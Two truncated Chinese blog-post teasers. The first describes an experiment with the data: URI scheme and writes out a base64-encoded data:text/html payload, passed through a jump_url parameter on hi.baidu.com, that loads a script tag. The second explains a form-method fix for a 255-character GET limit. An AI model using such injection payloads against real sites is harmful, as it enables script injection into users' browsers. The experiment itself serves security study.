superheiData:_URI_scheme:http://superhei.blogbus.com/logs/23355141.html我拿这个做了下实验:http://hi.baidu.com/xss?jump_url=data:text/html;base64,PHNjcmlwdCBzcmM9aHR0cDovLzEyNy4wLjAuMS9iYWlkdS5qcz48L3NjcmlwdD4N... [阅读全文]

由于form的mothed方法没有加，系统不认为GET，字符长度限制在255个字符以下，所以在提交超过255个字符长度的Form时，出现存取被据的问题。（发生在繁体版的操作系统上）。 修改方法：将form加上mothed=\"post\"即可解决。... [阅读全文]